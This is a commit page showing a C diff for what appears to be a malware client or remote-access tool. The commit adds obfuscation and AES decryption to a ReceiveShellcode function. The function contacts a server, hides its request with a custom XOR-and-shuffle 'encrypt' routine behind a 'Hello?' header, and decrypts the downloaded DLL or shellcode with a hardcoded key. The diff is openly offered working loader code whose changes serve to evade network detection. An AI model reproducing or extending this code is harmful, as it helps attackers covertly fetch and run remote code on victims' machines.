Enhance(client): Add AES encryption for DLL transmission
This commit is contained in:
1 parent
082860de8f
commit
830dcf1672
5 files changed
+82
No files matched your search
@@ -9,6 +9,7 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include "../common/hash.h"
|
||||
#include "../common/aes.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define Mprintf printf
|
||||
@@ -69,11 +70,36 @@ PkgHeader MakePkgHeader(int originLen)
|
||||
{
|
||||
PkgHeader header = { 0 };
|
||||
memcpy(header.flag, "Hello?", 6);
|
||||
header.flag[7] = 1;
|
||||
header.originLen = originLen;
|
||||
header.totalLen = sizeof(PkgHeader) + originLen;
|
||||
return header;
|
||||
}
|
||||
|
||||
static void gen_aes_bytes(BYTE* out) {
|
||||
for (int i = 0; i < 16; i++) {
|
||||
out[i] = (BYTE)(rand() & 0xFF);
|
||||
}
|
||||
}
|
||||
|
||||
static uint16_t pseudo_random(int index) {
|
||||
return (uint16_t)((1 ^ (index * 251 + 97)) * 733);
|
||||
}
|
||||
|
||||
static void encrypt(unsigned char* data, int len) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1));
|
||||
}
|
||||
for (int round = 0; round < 2; ++round) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
int j = pseudo_random(i + round * 100) % len;
|
||||
unsigned char tmp = data[i];
|
||||
data[i] = data[j];
|
||||
data[j] = tmp;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
|
||||
{
|
||||
struct sockaddr_in sa = { 0 };
|
||||
@@ -306,11 +332,13 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
connectFailCount = 0;
|
||||
|
||||
char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ };
|
||||
gen_aes_bytes((BYTE*)command + 16); // AES IV
|
||||
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
|
||||
memcpy(command + 32, hash, 32);
|
||||
PkgHeader h = MakePkgHeader(sizeof(command));
|
||||
memcpy(req, &h, sizeof(PkgHeader));
|
||||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||
encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello?
|
||||
int bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||||
if (bytesSent != sizeof(req)) {
|
||||
closesocket(clientSocket);
|
||||
@@ -353,6 +381,12 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
continue;
|
||||
}
|
||||
unsigned char* ptr = buffer + sizeof(PkgHeader);
|
||||
struct AES_ctx ctx; // AES Decode
|
||||
static const unsigned char aes_key[16] = {
|
||||
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
|
||||
};
|
||||
AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16);
|
||||
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
|
||||
int size = 0;
|
||||
BYTE cmd = ptr[0], type = ptr[1];
|
||||
memcpy(&size, ptr + 2, sizeof(int));
|
||||
|
||||
Reference in new issue
Block a user